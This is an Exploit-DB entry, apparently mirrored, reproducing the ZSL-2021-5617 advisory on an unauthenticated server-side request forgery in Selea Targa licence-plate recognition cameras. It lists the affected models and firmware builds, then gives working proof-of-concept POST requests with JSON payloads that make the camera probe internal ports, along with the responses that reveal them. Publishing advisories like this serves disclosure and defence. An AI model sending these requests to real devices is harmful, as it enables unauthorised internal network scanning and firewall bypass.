Selea Targa IP OCR-ANPR Camera – Multiple SSRF (Unauthenticated)

  • 作者: LiquidWorm
    日期: 2021-01-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49457/
  • # Exploit Title: Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)
    # Date: 07.11.2020
    # Exploit Author: LiquidWorm
    # Vendor Homepage: https://www.selea.com
    
    Selea Targa IP OCR-ANPR Camera Unauthenticated SSRF
    
    
    Vendor: Selea s.r.l.
    Product web page: https://www.selea.com
    Affected version: Model: iZero
     Targa 512
     Targa 504
     Targa Semplice
     Targa 704 TKM
     Targa 805
     Targa 710 INOX
     Targa 750
     Targa 704 ILB
    Firmware: BLD201113005214
    BLD201106163745
    BLD200304170901
    BLD200304170514
    BLD200303143345
    BLD191118145435
    BLD191021180140
    BLD191021180140
    CPS: 4.013(201105)
     3.100(200225)
     3.005(191206)
     3.005(191112)
    
    Summary: IP camera with optical character recognition (OCR) software for automatic
    number plate recognition (ANPR) also equipped with ADR system that enables it to read
    the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
    of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
    plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
    this camera suitable for all installation conditions. Its built-in OCR software works
    as an automatic and independent system without the need of a computer, thus giving
    autonomy to the device even in the event of an interruption in the connection between
    the camera and the operations centre.
    
    Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
    Selea ANPR camera within several functionalities. The application parses user supplied
    data in the POST JSON parameters 'ipnotify_address' and 'url' to construct an image
    request or check DNS for IP notification. Since no validation is carried out on the
    parameters, an attacker can specify an external domain and force the application to
    make an HTTP request to an arbitrary destination host. This can be used by an external
    attacker for example to bypass firewalls and initiate a service and network enumeration
    on the internal network through the affected application.
    
    Tested on: GNU/Linux 3.10.53 (armv7l)
     PHP/5.6.22
     selea_httpd
     HttpServer/0.1
     SeleaCPSHttpServer/1.1
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2021-5617
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5617.php
    
    
    07.11.2020
    
    --
    
    
    Request:
    --------
    
    POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1
    Host: 192.168.1.17
    
    {"test_type":"ip","test_debug":false,"ipnotify_type":"http/get","ipnotify_address":"http://127.0.0.1:80","ipnotify_username":"","ipnotify_password":"","ipnotify_port":"0","ipnotify_content_type":"","ipnotify_template":""}
    
    
    Response (port 80):
    -------------------
    
    {"bandwidth": 1.3571428571428572,"elapsed_ms": 14,"result": "OK","size": 19}
    
    
    Response (port 8080):
    ---------------------
    
    {"code": 500,"error": "Error sending notification: Connection refused"}
    
    
    Request:
    --------
    
    POST /cps/test_url HTTP/1.1
    Host: 192.168.1.17
    
    {"url":"http://127.0.0.1:80"}: 
    
    
    Response (port 80):
    -------------------
    
    {"elapsed_ms": 2,"jpeg": "GGh0bWw+CjxoZWFkPgo8dGl0bGU+U2VsZWEgQU5QU4BjYW1lcmE8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0vbhl2ZS5odG1sIj4KPC9oZWFkPgo8Ym9keT48L2JvJHk+CjwvaHRtbD4KCg==","result": "OK"}
    
    
    Response (port 8081):
    ---------------------
    
    {"elapsed_ms": 1,"error": "Connection refused"}